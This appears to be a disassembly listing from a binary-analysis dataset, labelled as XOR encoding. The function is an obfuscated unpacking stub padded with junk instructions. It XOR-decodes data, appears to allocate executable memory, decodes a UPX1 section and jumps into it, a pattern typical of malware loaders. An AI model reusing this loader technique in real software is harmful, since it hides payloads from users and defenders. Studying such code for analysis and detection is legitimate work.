Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x7a434bc8
sub esi, edx
add esi, esi
popal
mov edx, 0xca18dd58
dec esi
mov edi, 0
mov ecx, eax
sub ebx, 1
mov esi, 0xc8f3d9d9
and ebx, ebx
mov edx, ecx
mov esi, 0xe72dadcd
inc esi
sub ebx, esi
mov eax, edx
or ebx, esi
or esi, ebx
inc edi
not esi
add ebx, ebx
mov esi, ebx
cmp edi, 0x100c221
jne 0x47b44a
or esi, ebx
mov esi, ebx
inc esi
dec edx
or edx, edx
mov ebx, 0x47b21e
mov ecx, eax
dec ecx
or edx, edx
mov esi, 0x47b412
or edx, edx
or eax, edx
mov edi, dword [ebx]
add eax, eax
or ecx, ecx
and edi, 0xff
not edx
or eax, ecx
sub ecx, 1
xor dword [esi], edi
mov edx, eax
sub edx, eax
add esi, 1
sub eax, edx
add eax, eax
inc ebx
mov ecx, 0x4cf3fee2
mov eax, 0xc6ef2ebc
cmp esi, entry0
jl 0x47b497
add eax, eax
sub eax, ecx
add eax, 1
mov eax, 0xb049587b
add ecx, 1
and esi, ecx
add edx, 1
mov esi, 0x37bdb1b7
mov ebx, 0x47b416
sub edx, 0x932c35cf
sub edx, 0x513b44ff
mov ebx, dword [ebx]
inc esi
and ecx, edx
mov ebx, dword [ebx]
inc esi
dec ecx
push ebx
add ecx, 0x5e6021f5
sub ecx, 1
mov ebx, 0x47b412
sub esi, 0x947a2af7
not edi
mov ebx, dword [ebx]
sub edx, ecx
sub edi, esi
mov ebx, dword [ebx]
inc edx
add ecx, ecx
sub esp, 4
mov dword [esp], 0x47b41a
add ecx, esi
inc ecx
not edi
call ebx
mov ecx, esi
mov ecx, 0x6f0fe5e9
not esi
mov ebx, dword [esp]
add esp, 4
add esi, edi
add ecx, 0x4bb1aff3
mov edx, edi
push 0x47b427
and edx, edx
add edi, ecx
push eax
mov edi, ecx
inc edx
call ebx
mov edi, 0x3fb64070
add edx, 0x28602fb6
add ecx, 0x4c576eae
push 0x40
and esi, ecx
sub edi, 0x135effa
mov esi, edi
push 0x3000
inc esi
and edi, ecx
not edx
push 0x200005ea
not edx
or edx, esi
sub ecx, 1
push 0
inc esi
add edx, edx
sub esi, 0xff9ed2d0
call eax
dec edx
inc edx
add eax, 0x20000579
and ecx, edi
mov edx, ecx
and ecx, edx
mov ebx, 0xbed7f71
add esi, edx
sub edx, 0xde76e3e9
mov dword [eax], ebx
not esi
inc esi
mov ebx, dword [eax]
add edx, 0xfc4592c7
add edx, 0x34654bfc
sub edi, 1
cmp ebx, 0xbed7f71
je 0x47b5fa
mov eax, 0
mov dword [eax], ecx
sub ecx, edi
sub ecx, 0x1154c9cf
add esi, 0x4017256c
not esi
mov edx, esi
or edi, ecx
inc esi
add edx, edx
mov ebx, section.UPX1
mov esi, edx
not edx
dec esi
mov ecx, 0x47b21d
inc edx
add edx, 0x4c8a3b72
inc esi
mov eax, 0
mov edx, esi
add esi, edx
sub edx, 0xf7419e98
mov edi, 0x47b21e
or esi, edx
sub esi, 0x5281fa84
lea edi, [eax + edi]
add esi, 0x20f39d82
sub edx, 0x838f5000
add esi, 1
mov edi, dword [edi]
add edx, esi
inc esi
and edi, 0xff
dec esi
dec esi
sub edx, 1
inc eax
mov edx, esi
mov esi, 0x9b6c5d37
cmp eax, 0x1f4
jne 0x47b681
mov eax, 0
add esi, edx
add edx, 1
and edx, edx
not esi
mov esi, edx
xor dword [ebx], edi
sub edx, 0xaec8b79f
sub esi, 1
mov esi, 0x5dad4bec
add ebx, 2
sub edx, 1
and esi, edx
and esi, edx
cmp ebx, ecx
jl 0x47b637
add edx, edx
or edx, esi
mov edx, esi
sub esi, 0xc15f3c72
mov edx, esi
add esi, edx
mov eax, section.UPX1
add esi, edx
or edx, esi
mov edi, section.UPX1
mov esi, edx
dec edx
add esi, edx
mov ebx, 0x47b21d
not esi
or esi, edx
sub esi, 0x2c257e10
mov ecx, 0
mov edx, 0xcec3afb8
mov edx, 0x5d4127f3
mov cl, byte [edi]
sub edx, esi
mov esi, 0xa37a1247
add esi, edx
mov byte [eax], cl
and esi, esi
add esi, edx
inc edx
inc eax
or esi, edx
add esi, 1
add edi, 2
not edx
add esi, 0xdcc1b26c
cmp edi, ebx
jle 0x47b6fb
not esi
mov esi, 0x3d35436e
not esi
mov edx, 0x6fba970d
sub esi, 1
push 0x45e6a0
mov esi, edx
and edx, esi
or esi, edx
ret